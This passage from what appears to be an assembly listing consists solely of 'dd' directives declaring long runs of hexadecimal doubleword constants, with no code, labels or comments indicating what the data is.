0D8C0E08Fh, 0EE967EAAh, 0C3BB600h, 6F388961h dd 292B0769h, 50D0802Eh, 15200FA1h, 1E47A200h, 14BFF296h dd 0ABA81F1Ah, 5CF8878Ch, 0DC37803Eh, 0A0B84E16h, 73B0F43Dh dd 0AF48EE00h, 0A79F2FABh, 0A4776Ah, 0C602B697h, 532E053Eh dd 5F6FF900h, 54A0CAE8h, 9BAB0319h, 497DE23Bh, 3890B800h dd 0F935F15Fh, 0C7240053h, 55AF1E85h, 4000C45Ah, 0CA03AE4Ch dd 48F630A7h, 530047BAh, 6F9BEFBFh, 0B2E25868h, 170129E8h dd 0CFB54DA9h, 2FFCD404h, 0EC13010Bh, 587723EAh, 9774F0BDh dd 67169A18h, 166E638h, 0BA714529h, 8AEB4AFAh, 44541578h dd 0C0B9B658h, 79893479h, 210341F7h, 13A092B1h, 0EFBAE0C8h dd 0ECCE0030h, 0CDB1E88h, 14E886FEh, 20D93D30h, 28263953h dd 280845E6h, 6FE458A8h, 0E761119Bh, 10996314h, 50CC2610h dd 7CF810A7h, 14381EE7h, 92DA0DA3h, 97D9E079h, 37F0C00h dd 5BD85872h, 3EF2BEh, 7703768h, 4D1605F2h, 8FDA5C26h dd 0D004D50Ch, 6BE3028h, 886EB40h, 47ACF700h, 58712EB0h dd 0BE522AC5h, 0C8E0B79Ch, 0FD60A2D8h, 7A81AD90h, 0AABE00EBh dd 5866A94Ah, 0B00004B5h, 0EEA00882h, 0F2EAB126h, 53AF0628h dd 0B0A76244h, 0AC17A8C0h, 18D0B681h, 0A02838E4h, 0A91C4932h dd 0E4AAF6C5h, 983E563Bh, 0FEE9CAE3h, 5CC0DC03h, 350C3C6Bh dd 0CA90123Ch, 45999363h, 0A2189A04h, 0A0B8D7D8h, 0EE8993DCh dd 664F40A8h, 1292A100h, 0C975196Bh, 5C695849h, 0A64A6963h dd 0D747C1A7h, 282F68D3h, 66F0D453h, 28500560h, 7BBC93D5h dd 0CCF50178h, 0B438D877h dd 2003C70Ah, 58C9EC16h, 810FC8B3h, 20AA00A9h, 695F4910h dd 890B45ADh, 486682h, 0F12FA44Ah, 646003DFh, 0BB9361EFh dd 0EB7583DFh, 80051BF1h, 7CC1C2D1h, 620FB4BFh, 0F21270F1h dd 6A0E6000h, 0B9F81F6Eh, 8943C041h, 3B8405D8h, 7FE7B700h dd 0FEB049F9h, 7A560729h, 4051F131h, 13CEBBCFh, 0BCF4B71Dh dd 0BA3D0DF9h, 3C507AE7h, 697AE91h, 0CC426DDEh, 0A901E109h dd 25EE585Dh, 94D826BEh, 0F04900B7h, 3BAB5340h, 0D900E6BBh dd 48CB3089h, 32CBF4Fh, 0C971212Ah, 181CB154h, 0DB43FF3Fh dd 6256C2h, 0F98610E0h, 40C5E643h, 72920807h, 0DDA09327h dd 625B679Ch, 3B1919C6h, 436304BFh, 75CA0E9Bh, 2A204F77h dd 83BD7BFBh, 6223531Dh, 308CDC0Ch, 0F44937F0h, 5C1C4038h dd 0D43F1FC3h, 0F18D15A5h, 0A2AE134h, 0F7C34C4Ah, 10004A09h dd 5498EA72h, 382E8194h, 0C3BADED4h, 54687CF2h, 869E0C06h dd 8A4F021h, 0D041C6DAh, 0D212A550h, 528918A2h, 0BC760C82h dd 66D15000h, 67311EC1h, 0DB938211h, 3C02EFFAh, 0DC07106Ch dd 210E4384h, 7F0F84BBh, 0DDD74429h, 30A57B22h, 980C452Fh dd 0E3180585h, 15247835h, 50E70CA9h, 5626A23Ch, 0C501B89h dd 88DDE94Bh, 2184E30Fh, 0CB08DFAEh, 0ADC44E38h, 62FF480Dh dd 3C8480E4h, 0D09A4073h, 3E6196A6h, 92141022h, 8A080CE6h dd 688643Bh, 0B92400DEh, 0BAAC14C7h, 71239703h, 0E379C350h dd 884AD8D9h, 7BE0003Dh, 0B5E15822h, 1E0F9EB3h, 207941EBh dd 0D1DB9423h, 3A81002Ch, 5066327Bh, 0F600CC6Dh, 37427EBFh dd 697A6467h, 170FB9F4h, 0B602B075h, 0F5891718h, 5F9F0E60h dd 0DC4EE307h, 0A1DC0C54h, 9B840231h, 6CB95589h, 0CEDA0700h dd 0BC88C039h, 457C96DDh, 688A8800h, 0E0B8D56Dh, 0F6C8C012h dd 6FF57E3Ah, 427F1CAEh, 17747900h, 4A9C6DEAh, 0AD8E0F67h dd 0C1602737h, 1EFF987Ah, 1A75A8E4h, 0A04EA200h, 91615338h dd 36FE0052h, 0C235D57Ah, 9C01C9DEh, 3F2D1C55h, 0EEF8F3C7h dd 11AA00B0h, 757A6B40h, 820DDAA0h, 58460839h, 2CEBA60h dd 8D169B38h, 41FFF452h, 0EDE06809h, 290B613Ah, 0C4622EFEh dd 34ABC029h, 0DC72A5B1h, 3A00B760h, 0B34B57ECh, 1C1DD590h dd 402568ADh, 0EE525FB4h, 7E00F84Eh, 0D7B0FC8Ch, 323AB2Bh dd 0E630FB70h, 0F09934E8h, 1FB88B79h, 0D3CD83C5h, 5E17B820h dd 5C00052h, 7D1449F7h, 8905E1DCh, 769A59C6h, 0DE0C9AC0h dd 434501B0h, 527D053Bh, 0C0808618h, 31D13CD5h, 5F80F4D0h dd 3D1F0EC8h, 5CB04047h, 4B1773BFh, 7FC03B00h, 5EDA0A25h dd 830807ECh, 3399E334h, 98001663h, 20E897FEh, 0F0733F3Bh dd 0F1906026h, 1E616C6Bh, 5A8288C0h, 3ED0CEDFh, 0E5AADD85h dd 0D4FC0090h, 4D771708h, 40E70118h, 716690D8h, 0FC69190Fh dd 1C5D864Bh, 56F80018h, 99F91549h, 7344C6FBh, 849D5290h dd 1280F480h, 5D30242Bh, 0A47E9091h, 6FFF01B9h, 20E93175h dd 80188A92h, 370EBCCBh, 0C750584Bh, 3E872845h, 81CF0EFCh dd 0CF3EAD09h, 0BD41D8B2h, 0F0F49068h, 18C049A0h, 0DE6B2DF2h dd 7D88A072h, 4A2200F0h, 0F6EA74BAh, 0BB1D1ED7h, 478140C2h dd 3A28E7CBh, 5962C4h, 929A6371h, 8A6EF20Eh, 1EDCCF00h dd 293CE0ACh, 402260F1h, 8730C889h, 0A97BB900h, 500C85E8h dd 359E00A7h, 0DF1B0EE3h, 6D384757h, 53820025h, 0D06EADDh dd 0C0CE008Dh, 12B22B76h, 2100DF2Ah, 878A8E52h, 5DF50Bh dd 0DDD08B18h, 0A130F651h, 9723081Eh, 9CA54AC0h, 865C0C9h dd 6BFCAF3Eh, 7A29D103h, 0CB219335h, 682298FFh, 0C1730FDCh dd 0C360C241h, 0B1A84376h, 0AA17A11Dh, 9404306Bh, 0BA284518h dd 1CBC1A40h, 80D211C2h, 0B9FE061Bh, 0FB00E109h, 0E59FA494h dd 1C6D3DFDh, 411519DFh, 9DC4298Bh, 93F6D0F0h, 6111D112h dd 5B6A0EFFh, 0DBFB45h, 0C8BF909Ah, 70C0C28Ah, 971B0243h dd 0D1194883h, 5F7A8D0Ah, 292608A8h, 7F4C003h, 745100DEh dd 0CA75E0D6h, 230FCFFBh, 630B883Ah, 3EA02FF0h, 5C00CDE1h dd 3266C89Fh, 9C00E75Bh, 8496FB50h, 0E187444h, 0E4A11E14h dd 95D63660h, 6F30CA7Eh, 0C8C0F9D9h, 4B9900FEh, 28BC603Eh dd 3180E0F9h, 0B08A1D4Ah, 7890B647h, 30DCAB55h, 0C2286440h dd 4888BCDCh, 0BD004A87h, 7B824221h, 0C873F6h, 17763A57h dd 4BE78D29h, 3F71AC00h, 0DBA51B0Fh, 8283002Ah, 0F108C343h dd 6E02EA87h, 9627B11Ah, 5F84A7DFh, 80534622h, 109DC8C8h dd 28B31D55h, 1DEC68B2h, 315A5696h, 8A8DB930h, 58697439h dd 0FCCA9F3Bh, 0B8C1C46Ah, 0B2F36B8Ch, 3D063DECh, 0F860C773h dd 72A94247h, 0ECB1C410h, 0BF8A1B06h, 4F0221E1h, 70CDA673h dd 0C8480CEh, 14C7AC2Fh, 18DB40A8h, 6C0E711h, 0B4E96B94h dd 0F53A0468h, 8395B97Ah, 78101B64h, 8200FAF3h, 6D5DDD83h dd 3A18E94Ch, 0C9C89717h, 0CB04002Dh, 797A7EEFh, 8B603F6Ah dd 0F8A59741h, 835503Eh, 3F0D38CDh, 5047823h, 0C82011CBh dd 0C1006E3Bh, 0C39C7476h, 0E8A1A744h, 0AA2109BCh, 4022A066h dd 0B60FC3Bh, 0A5A09836h, 26E6BD2Ah, 3CE39B09h, 6F1E8215h dd 43904060h, 234C0AD0h, 4004C958h, 9BC5F475h, 19CBA630h dd 21B7BFh, 22FF6A96h, 1531A7CDh, 0AEDA0801h, 59AD868Fh dd 0C5414180h, 27F6DE74h, 143B0EF0h, 0F95280BDh, 3105D822h dd 82D53D9Ch, 0C854AC00h, 4EAA4B84h, 0C118AF7Ah, 0A4937D6h dd 3994FEA3h, 461F3AA6h, 0F4241Ch, 0B3084E6Fh, 2100013Eh dd 0BCC64CD9h, 1F41F69h, 7DACDA5Dh, 817B3239h, 4E54A838h dd 0C882CA87h, 0F3AC92CBh, 22083F60h, 911C51C0h, 19C06C8h dd 0A2E4AEE9h, 813082D1h, 9842CA10h, 0CCD4D622h, 304CE571h dd 549CA4A3h, 0E124853h, 9E460D69h, 7C18F140h, 148081B1h dd 0E8B82433h, 380A18E1h, 48026BACh, 0A69D4335h, 0B03E078h dd 0E4B0007Ah, 0C8861218h, 3D5C90F8h, 43BA182Ch, 1D984070h dd 0C05DFC01h, 9A165950h, 0BA1F039Eh, 0B0803A10h, 0CC2B1C7Dh dd 0CA30C0FBh, 0B9C1C679h, 11041001h, 0A5FA1937h, 6A92F050h dd 0EE3102BDh, 449A9D03h, 1CD5BD80h, 3F3EC755h, 6C1B7BC6h dd 0C130DA5Eh, 0E08C4233h, 0EC8C7D4h, 0EB7AAF00h, 5F233617h dd 6E2000F2h, 6ADDA91Ch, 9301C928h, 0D5E85E03h, 11E88EA7h dd 4D4001A2h, 9F58FACDh, 7A7B6005h, 39463A00h, 0A0016880h dd 0B03154D6h, 92FC004Eh, 464FD4B3h, 0AF5860A1h, 0F4CD1C0Dh dd 34C34700h, 1A7A03Bh, 0A27B5A80h, 80CC3EFCh, 0AB40FAB0h dd 0DEAF4h, 7FF791B0h, 76DE1DA7h, 0D00064F6h, 5DF88734h dd 0C0248BE5h, 2F805B70h, 0B700F19Dh, 5E59550Ch, 0F5B17E51h dd 2AB2A841h, 49FB9824h, 9B009C49h, 3DB4135Ch, 2906771Ch dd 9C50D05Eh, 1FA00728h, 4055046Ch, 853587A4h, 9B2B3B1Ch dd 69A9FC58h, 0DF590ECAh, 0B9E0825Ah, 6810B785h, 0D5E77500h dd 22CFBBBh, 0F086026Ah, 5C8CC33Ah, 0CD91DC0h, 2AEFA307h dd 3EA05871h, 1493881h, 0ECA44142h, 6161FEF1h, 14088090h dd 0A93884E7h, 8540009Ah, 2A1B04F8h, 0C00114Dh, 2BC4DD0Eh dd 0D3588Ch, 3C30C035h, 8D5F6D1Eh, 46E53Eh, 0E990BF2Eh dd 0E86223A8h, 0A342013Dh, 0BBA0712Ch, 5E99D010h, 92B54E00h dd 0BAAF29A5h, 79BF0CCFh, 21303FC8h, 58CD0F07h, 0A131726Dh dd 188E9254h, 4C068F8h, 73857E32h, 1A669800h, 744E2B51h dd 0CAA80215h, 7D062AF0h dd 410974A0h, 7921ECEDh, 2B588CFCh, 0E100A220h, 90D26088h dd 2137C2Fh, 0CBCF2F0h, 1740B6A1h, 0EE062B79h, 0C830C781h dd 0A4705660h, 4341A701h, 0CFD89EBh, 1C61C0BEh, 0D3A041FFh dd 0F24A4B03h, 0B8DB99C7h, 3A5DE1h, 350D12E7h, 6019FC8h dd 61700960h, 14F692B8h, 0B0B4E34Bh, 0CD25B900h, 0E222DECCh dd 0D3623704h, 5AC393AFh, 0C3ED01Bh, 4E60134h, 9BAA12FCh dd 5CB8C84Bh, 6961B600h, 6AD33165h, 4CDC7D3Ah, 0D600AB76h dd 8871D4CCh, 3500742Eh, 0EDF40C0Ah, 1EBDAC0h, 10ABF24Ch dd 0F15E6217h, 497EDCE3h, 1E5C5D00h, 0B478B113h, 76CD1FACh dd 7A25037Bh, 61E8F7FDh, 0EE0006DFh, 5B965477h, 553D178h dd 8741CB2Ah, 1BDAC11h, 679B555h, 0ACE854BCh, 60D566BDh dd 0C90305Ch, 16EF8C18h, 325F68h, 0B93C7AF8h, 0F173DADh dd 86D118C0h, 29E8B6h, 3C04AE0Ah, 0E73027A9h, 0E1D1906h dd 3E2812CBh, 1B00E5DFh, 0C4885EDEh, 4E004D22h, 6A5D6FAh dd 3D7B55h, 383C7016h, 7CBB855Ch, 0FC7D8B40h, 889883EFh dd 0BA0009C2h, 769EFA96h, 259A3h, 35B547F5h, 0DAA6953Ah dd 7C638300h, 9070D2DFh, 0C5F10019h, 937A8778h, 942CCD18h dd 0BA0025ACh, 7E55F2A1h, 0A7AA0074h, 0B5C48353h, 400759Fh dd 64B81050h, 968817h, 3C2FEC5h, 0CAF3E5D3h, 0FAA75700h dd 7BB8CB61h, 562E3DB3h, 0E3676A00h, 0ED756627h, 0E6C69F0Eh dd 8026C9A2h, 45AFAE12h, 0B2473BD2h, 39FD116h, 652478AAh dd 59DD3101h, 0F6456CFDh, 3ECF6EF0h, 9900A6E1h, 0C563438Bh dd 8E007E39h, 70C179B3h, 0FD4D8BCh, 0C25EBE56h, 0B0EC2A00h dd 0BD0C16F7h, 483C196Ch, 1843F82Eh, 8DB1FA7h, 24A6BC9Fh dd 0AD59AC05h, 1C20F81Bh, 144173CEh, 18C45FA7h, 0E14868D8h dd 30EE028Eh, 0C5BFA746h, 0A80530B8h, 6B8E008Eh, 683FA742h dd 218E9DAAh, 0E310FAA8h, 0EB99AE05h, 601876A6h, 31A1ED21h dd 4BE84E31h, 78606048h, 86CC9A85h, 90CE6E28h, 0C4AFDF15h dd 0D0458430h, 20310E70h, 226C09Fh, 49BF19A6h, 0C2D44044h dd 71BCDC85h, 4CF9C03Ch, 0E0602E6Ch, 0E8ACBF38h, 8440A5A6h dd 60F1B125h, 0AD44DFCEh, 0F89808A0h, 4CBBEEE1h, 0FFB1A0B0h dd 0A8A1040Ah, 9FF4417Eh, 0D6199C60h, 5DC44429h, 0FC248E28h dd 0EA091422h, 29183444h, 10B8FB30h, 57AE0C1Eh, 489C68E2h dd 71E6709Fh, 0C2F8AD22h, 0EE934E39h, 58DB884h, 0C41EDA1Fh dd 0C0EDB10Ch, 0C2E4A316h, 0A07C49D6h, 853010EBh, 0A9661429h dd 8458A198h, 626E504Ch, 8D9F686Fh, 0EC6C8C88h, 0EF470DA0h dd 384D0E01h, 892C1FD2h, 2153F98h, 0A6337F44h, 0F89087D8h dd 8898AD7Dh, 2EE385A0h, 5FE01976h, 0BC1F9865h, 417D10E9h dd 0DF31C620h, 519FB049h, 723108BCh, 23D87F20h, 7DC8D84Ch dd 0CE318EADh, 0F95FC04Eh, 0A43D8452h, 189708A8h, 0A8395105h dd 27804C22h, 3F8AD6A9h, 2E7F7104h, 44CE53E3h, 0D10C6D58h dd 0CE283522h, 0F8E2A724h, 7F3A4C70h, 0EE51C360h, 0A01DCE72h dd 0A93CCDC6h, 0EC812CC1h, 34647B84h, 0CD7CC207h, 94E25B02h dd 0B5B73918h, 0F3AEA409h, 0FB2A5402h, 1A030047h, 8880F53h dd 0F8724E29h, 753A3E70h, 802D676Fh, 8EFE046Eh, 0CC5B06B0h dd 3051BCB6h, 0BF28190Eh, 54A5FB37h, 84D7F701h, 2E002834h dd 0A7575ADAh, 0CB530614h, 24591C09h, 949811CEh, 30B018DFh dd 2A61E7AFh, 583BEE59h, 0C3310420h, 0E1B79F30h, 4C08E868h dd 0AED6250h, 7221AD9Dh, 383518B8h, 63639B1Fh, 74288840h dd 802D4810h, 442EBBE0h, 984D1028h, 1B54AE13h, 1EBE5C05h dd 518FB04h, 60FEF481h, 3E161C48h, 0D7A0234Ch, 1FB24E01h dd 5178FFA7h, 4E803823h, 56747B34h, 0B06EA8C2h, 1684725h dd 0E612AED3h, 0E289558h, 60D68378h, 2E4F848Ch, 0D0020DC9h dd 28C720E4h, 0D8EE9803h, 0CE31101Fh, 0C1A442C8h, 0D0800A3Ah dd 2042EE10h, 681250A5h, 989CFA0Ah, 205014BEh, 0C79FE0ECh dd 80D0710Ch, 0A8A2ABAEh, 0B18130CDh, 0A973729Ah, 7E37024h dd 643FD23Bh, 8FFF4139h, 0A7DFE03Ah, 0EC18946Fh, 0B865103Ch dd 0C4789074h, 0C77A9F28h, 38F2C35Ch, 36662871h, 0E850BA20h dd 0E80B506Fh, 902161D5h, 0CDED685Fh, 0C58C4749h, 0F2A8455Ah dd 19E80B66h, 47F9402h, 4A507C68h, 82938CDh, 4B9092h, 0D17D7E70h dd 28DE545Fh, 20483D0Ch, 3F08C05Bh, 1FD18FAFh, 28900131h dd 209661C3h, 0C941ECDh, 3A68F658h, 0BFED6B06h, 31086C57h dd 8170646Dh, 763FF071h, 24506363h, 25A81BF5h, 57F32867h dd 6571501Ah, 378A43A8h, 45C84B58h, 460DAE48h, 0C8D12044h dd 4DDF0886h, 0F9513052h, 810BE194h, 0D19DB909h, 1087FFBFh dd 83AB041Fh, 2118F63Fh, 3E10B2BBh, 667FF88Eh, 38A0D92Ah dd 0E0C509F8h, 0B40FA5BFh, 0A862EADFh, 181F870Dh, 2CD049EEh dd 0A91920BEh, 8429185Ch, 75775FF0h, 1E3CB708h, 0B02E84C1h dd 24170D58h, 891C6CD6h, 1002AB6Eh, 0B882B2FFh, 8482CDBFh dd 4C1E07Fh, 0D4A6C23Fh, 9F282047h, 8483F80Fh, 72FF680Fh dd 0DD191F0Eh, 0B8A66F11h, 10201868h, 68801E4Eh, 0C318B10Bh dd 3DF194E3h, 0A4AC34B7h, 0BF1B5C90h, 0B8083BAFh, 3D55B4CDh dd 75FABAh, 646B5184h, 3EDF2280h, 0C2C64228h, 0A63C9907h dd 30BCD004h, 0AFA908F0h, 97E0CC94h, 19F9BCAh, 0A4A6FCF0h dd 0CCB4E435h, 790E2C4Ch, 836C08F5h, 206B9B95h, 0D50F6E10h dd 8FBB0F02h, 1578C105h, 0E1D39693h, 75E0880Ah, 308A7CFDh dd 0B5209435h, 0AF0CF776h, 8D82634h, 797406A2h, 60733D75h dd 1071FD31h, 0A88CB337h, 0BAE02519h, 7A3408C4h, 9538604Ch dd 148071FEh, 7D08C072h, 0F6F5783Dh, 3520807Ch, 0A415183Ah dd 9A6A107Fh, 0C68328C0h, 60F014AFh, 7C9D0853h, 0A63315B4h dd 19C22044h, 50A40BD1h, 75088A0Ch, 0DB8E8CA2h, 0E11B9FE0h dd 8718E010h, 7F552078h, 9BCFD518h, 0E8DCC7C8h, 9E0B28B5h dd 81AD7C9Ch, 75988D5Dh, 56F010A9h, 95780A32h, 18A847B9h dd 14351059h, 3A82F50h, 55314A7Ch, 8BFA1939h, 8B0A098h dd 20C00475h, 0CBF66B95h, 0C5603A79h, 0F1FB390Fh, 0F016190Dh dd 1E3A4859h, 0B58A0FC8h, 181D8C0Ah, 0CAF03AF9h, 86DB998h dd 9980B7D9h, 0C8D80828h, 19071879h, 0D981D347h, 39F0D47Eh dd 0B948C3DBh, 0F9A0A968h, 80F162ADh, 28F33D30h, 0C02E7D09h dd 9FA0696Eh, 0F10CDF0Ch, 306B3908h, 0C8360001h, 0FEA3B599h dd 2107A9F8h, 32615907h, 0FD44D941h, 2813B894h, 0F98314CBh dd 507C01E3h, 0C8D6E203h, 181B02B9h, 0D8CE60B0h, 0BA54AE0Dh dd 4770721Ch, 0E086F301h, 0D5D248F1h, 0A21D890h, 9CC23959h dd 7794AE14h, 0AB7251Eh, 0F95886DBh, 0F9F01170h, 98FC6508h dd 0CB01F7Eh, 0BEC82C8Bh, 0E19C8F51h, 75A44295h, 0E82F4098h dd 8DCDCE10h, 141D6810h, 18B852B9h, 0EA096E39h, 0D8FE0C49h dd 5D01DFCh, 99073E0Ch, 15D9100Ch, 700AB458h, 0CC866CC1h dd 1B8810ECh, 8CD78110h, 4030DEE9h, 788CF343h, 0E0600CB5h dd 31F370D0h, 6793E015h, 0CCFEC43h, 6886D908h, 3F63B810h dd 3001DB30h, 59987F50h, 40C7A6EBh, 38414497h, 3C20F816h dd 1440DD2Ah, 0D9099CF3h, 3403C93Ch, 801905DBh, 545863EEh dd 1C2CA445h, 93AF15FDh, 0A80CF4E7h, 5B80167Bh, 0BCB0F350h dd 0A13908C2h, 36BC83E2h, 65983706h, 798C8608h, 39B08AF5h dd 868AE4D0h dd 0C01EAA49h, 3FB40870h, 531E1DD7h, 82BE0645h, 0B0001028h dd 0FF2DFE3Ah, 38F35A5h, 0FCEA0EB4h, 0CD98077Ch, 0D70A3671h dd 1465F63Eh, 98B97E40h, 0C62E0475h, 6EEDFCh, 0D61F5F1Eh dd 340F3CFEh, 8549E18h, 87C287Eh, 2A2F5E18h, 0E81BC10h dd 0CB839E05h, 0A1D2BE83h, 702FEC0h, 0CE7ED614h, 0EA7CC038h dd 0C3F52343h, 0FA400D98h, 64286000h, 20CF5E02h, 0F454AED6h dd 8EB637DCh, 0FBA4C3D1h, 3382801Dh, 6BE35E06h, 801A6F78h dd 0D110B68Dh, 0DED08DEFh, 0FDD1C0E9h, 975E1880h, 20BED609h dd 561EC0C1h, 0D5F01189h, 0E950C627h, 0D83E6038h, 9A9E0C8Fh dd 6695402Dh, 11A5182Bh, 982C5728h, 38448633h, 41207C8Dh dd 66A9F0F4h, 0C31910DBh, 0FF312868h, 0E49E28DCh, 0C53E189Ch dd 805208CCh, 0A0CADD80h, 0C1FC99A8h, 0D61B8758h, 20C861Eh dd 2060CF9Eh, 0FE12133Eh, 80C42DBh, 639EC00Dh, 353E60EDh dd 4619707Ch, 0DB8811D0h, 0DDAD088Fh, 10387E06h, 0D2F39E1Fh dd 0F4991E05h, 1636DC05h, 18D8F405h, 3090C80Ch, 17A731DEh dd 11DE720h, 9489451Fh, 1802F3FDh, 0AC83F1A7h, 30289324h dd 9E31C05Ah, 2B7E18FFh, 0CE1EDC40h, 0F98CA1FDh, 163EE080h dd 57BE11D1h, 10D0A8DBh, 0CEC9E20h, 40F0311Eh, 119409EAh dd 4025083Eh, 0E1B846DAh, 0EA20408Ah, 2FE53195h, 8CEE9AF8h dd 40F53CC0h, 2C0DE58h, 0FE0E42FFh, 0F8371163h, 0A1C20801h dd 558886DCh, 0FEBE1268h, 8E0C06E0h, 0FA316843h, 2570B03Eh dd 419C5423h, 0CDA5082h, 204DE88Ch, 0C99042FFh, 9B501498h dd 19F0F222h, 5833C06Dh, 585C24ECh, 1254A048h, 0B00A6AA7h dd 0BE00F44Eh, 3E024876h, 0F85A74F3h, 0B8245034h, 0C08C65FBh dd 1AB01FF7h, 0C096C03Ch, 44CC0403h, 0D78D7A29h, 0F4048425h dd 24934DDEh, 0A0C1BAE3h, 85283F18h, 0ADA9C392h, 0D02457F1h dd 3C248CC0h, 8684A58h, 4686C1BBh, 64494512h, 3ECC031Dh dd 1E081026h, 0F1247C02h, 34996A36h, 0DE00C508h, 88A03C20h dd 0D0C43967h, 38811165h, 14304D82h, 0B027661Ch, 0BE372076h dd 7A83085Ah, 0FB483928h, 0A7371048h, 4324F18h, 92219E2Ch dd 5840C178h, 8DFC23Eh, 801DF2D2h, 1F8C12h, 14063312h dd 2008201Eh, 9E1987FEh, 84381D0Bh, 213F1E01h, 0E907D080h dd 0F19918C6h, 8EC43108h, 8DFF8A68h, 0A8FA8590h, 8C42B831h dd 0FDD4A33Bh, 0F8A024FCh, 98243A34h, 48E59844h, 0FF480BFEh dd 0A19CE020h, 0F692038h, 0D0F3ED3Dh, 9C3C09Ch, 0C1024740h dd 0E858D52Bh, 417A0958h, 279F7h, 3C484F0Dh, 68C52D15h dd 2891FE1Ah, 205CD6EFh, 0DBCD1B01h, 0B4E27954h, 629E5840h dd 0C9D88EFDh, 0C0589596h, 2C730AAh, 300C9087h, 1EA8A34Dh dd 24919519h, 0F95951C3h, 0A888648Ch, 5E0D896Dh, 4C1C3018h dd 49751273h, 8D3C4634h, 0D624313Ah, 7A1AA870h, 52B043A0h dd 0DFC07440h, 9FBA03ADh, 279040DDh, 91C3F052h, 9184D26Ch dd 84D8CDA0h, 65575E60h, 0DBCAC881h, 969B3040h, 0DF1200E9h dd 4C1D5695h, 0B9776AABh, 1C02DBFCh, 5139658Fh, 0CA14A098h dd 40875954h, 0DE40B67Ah, 801D29C5h, 86BA0328h, 1FCC5487h dd 141D500Ah, 455650h, 376EC704h, 1BB37693h, 7B158F7Ah dd 0C0188162h, 3B7E6BC8h, 9336004Ch, 8BC11856h, 2C52ACA5h dd 45E80254h, 578C3ADh, 0C1646336h, 9EE69FD1h, 0C1A81649h dd 143B2529h, 46AFBD81h, 0A0816159h, 8BC3EDF6h, 85C4F165h dd 8094FE08h, 3EBF942Ch, 4FB14579h, 0BCE7D660h, 0C0D99D38h dd 8ACC50Ch, 0C18F2085h, 20C25932h, 758C0E7Ah, 0AB332530h dd 787E6093h, 89233C68h, 39E5A505h, 783C7181h, 8654E1C0h dd 0BFAEB6B1h, 68B56360h, 5878E665h, 461C660h, 31E580A0h dd 208A1BCh, 68BC4337h, 0DB457818h, 0B08FBDE1h, 0C84457FDh dd 1FE11604h, 41185FE7h, 29CF6570h, 60A88146h, 0B0277179h dd 7630C567h, 68F0BE46h, 58F8F85Fh, 98727C94h, 804F2B3Dh dd 8ED99DC8h, 0EC6AD6F7h, 1E067D08h, 403907DAh, 0D2782E59h dd 0A306A890h, 0EB378ED7h, 43171130h, 0D4D18045h, 0C32A2521h dd 0D8FD8858h, 30952830h, 0EA7C577h, 82D23785h, 41C1029Fh dd 3CB0D784h, 0AD300327h, 3368A1EEh, 57841370h, 770A03FBh dd 37C050ACh, 40C05182h, 978A9448h, 824A6D4h, 0D7D018C0h dd 5660489Eh, 550438B7h, 42FDCC0Ah, 14DF628h, 509E99ABh dd 2158BF14h, 5081930Fh, 244C8E96h, 0F0287784h, 0EDDF940Ah dd 0E8029CD8h, 0B884752Fh, 18DFAC50h, 28DC280Bh, 71298AC8h dd 4B60AC84h, 0C4C749E9h, 1115A851h, 6D8FC464h, 1429B1C6h dd 50718088h, 15DEF2A0h, 5068E944h, 62F78C60h, 96DAD172h dd 1ED6A885h, 0DC6714ACh, 0A131B739h, 4A792F08h, 0BD433840h dd 2948C42Ah, 406874BAh, 6101C13Eh, 30288D40h, 3280722Fh dd 370A8967h, 308588FCh, 0DDFD92E0h, 0D1A61FD0h, 72AF0890h dd 8EE52205h, 0B7BC7470h, 821920F7h, 4D91E812h, 3A8C3838h dd 852ADE9Ah, 4D0D29C4h, 867CC09Ch, 8A40A0B3h, 4E1624A8h dd 73980A14h, 3D4D5074h, 591F0D31h, 0B3D71288h, 9450FA97h dd 0EED30418h, 0A80AA34h, 0F7C04068h, 40E6E37Bh, 8F6748DDh dd 80AC17A8h, 877E0177h, 0D2A35785h, 0C138228Eh, 0CD62A00Ah dd 6E284189h, 0B0D381Eh, 29D6862Dh, 90F36F0h, 1223D789h dd 815CC004h, 24C3F7C4h, 40678CE8h, 4390180h, 0CC8087ECh dd 0F1BE4AF7h, 9B05A44Bh, 22EBB20Bh, 0F881C5CCh, 9F4BE737h dd 0F7C1A48h, 838054B7h, 14C2F9D7h, 581E2620h, 3C3D1CA0h dd 0C9EB924h, 6BEAC800h, 48A91789h, 0A4E02485h, 0F82A1E4Dh dd 0CD49E45Ah, 48DE1270h, 0C08CD40Ch, 5CF25337h, 25D3F802h dd 88035D75h, 28385269h, 2C5BC8C0h, 0E4A782FCh, 89016081h dd 7179746h, 0E0548A6Eh, 0CE09E633h, 972849C2h, 847441E3h dd 0EA57A0FFh, 4CDC98DBh, 2047B08Bh, 0F9080138h, 143E83C5h dd 0E1A05F62h, 9A60AA31h, 0E8A0A09Fh, 37C0A080h, 0E47F509Ah dd 14E490E2h, 8C5F8897h, 4EEE79E0h, 9C04552h, 968583ECh dd 0EBDF0CA0h, 0A869F7D1h, 0A0878B29h, 1170D3C0h, 8829C4E8h dd 624CF7Bh, 0E4FD9193h, 0D5682029h, 1D053C8Eh, 6C34A9AFh dd 0A096B84Ah, 0C0813C23h, 94557328h, 1B3BB851h, 6CF84825h dd 18C9539Bh, 1B28CC02h, 860F6F02h, 14805214h, 9485ABB8h dd 0C45D88B0h, 1490CE59h, 4CA8B8E8h, 9B30B7BCh, 581F3051h dd 0D212D052h, 33AC04BAh, 0BDA883B9h, 0A0B70814h, 28B0B734h dd 0C21CE069h, 0A31BA840h, 0CFE83C61h, 583870A5h, 1F203369h dd 0B0881420h, 1FA014BEh, 88EBC528h, 29256859h, 41C2603Ch dd 0C1C28D0Bh, 0E7D52148h, 8C490330h, 5109E6A9h, 9CA2E028h dd 3F740518h, 1F2D2FCFh, 509F0A9Ch, 14E70F4h, 210E3718h dd 0A0D4E850h, 0C2C2F794h, 41F59708h, 5F04B89Ch, 2FF0677Eh dd 88ADB246h, 40AC4131h, 0A833D72Eh, 0D21D5680h, 98C2A63Dh dd 9CAB76A8h, 0B9EA0488h, 32C8119h, 9763388h, 85C52EC0h dd 38056C16h, 7C4BBA75h, 0E86834C0h, 35CA571h, 138C74F0h dd 0A7488109h, 1E94074Ah, 487D308Ch, 572610C3h, 3FB439A4h dd 0F4647008h, 0AA2AE3C3h, 5B58C424h, 73970B2Ch, 14F884E4h dd 0C1D7CCC1h, 18D3D431h, 504AB7B9h, 4D00A6DFh, 0A069D88Bh dd 1D962F47h, 8FEEEC90h, 0A2878C39h, 0EF1F210Eh, 0E7BFD841h dd 3F14C87Ah, 801CF13Eh dd 4BD1035Ch, 8C3B0F98h, 3B70E7B8h, 1419BE4Dh, 9E186018h dd 46B03D0Fh, 6104367h, 0BFB764A6h, 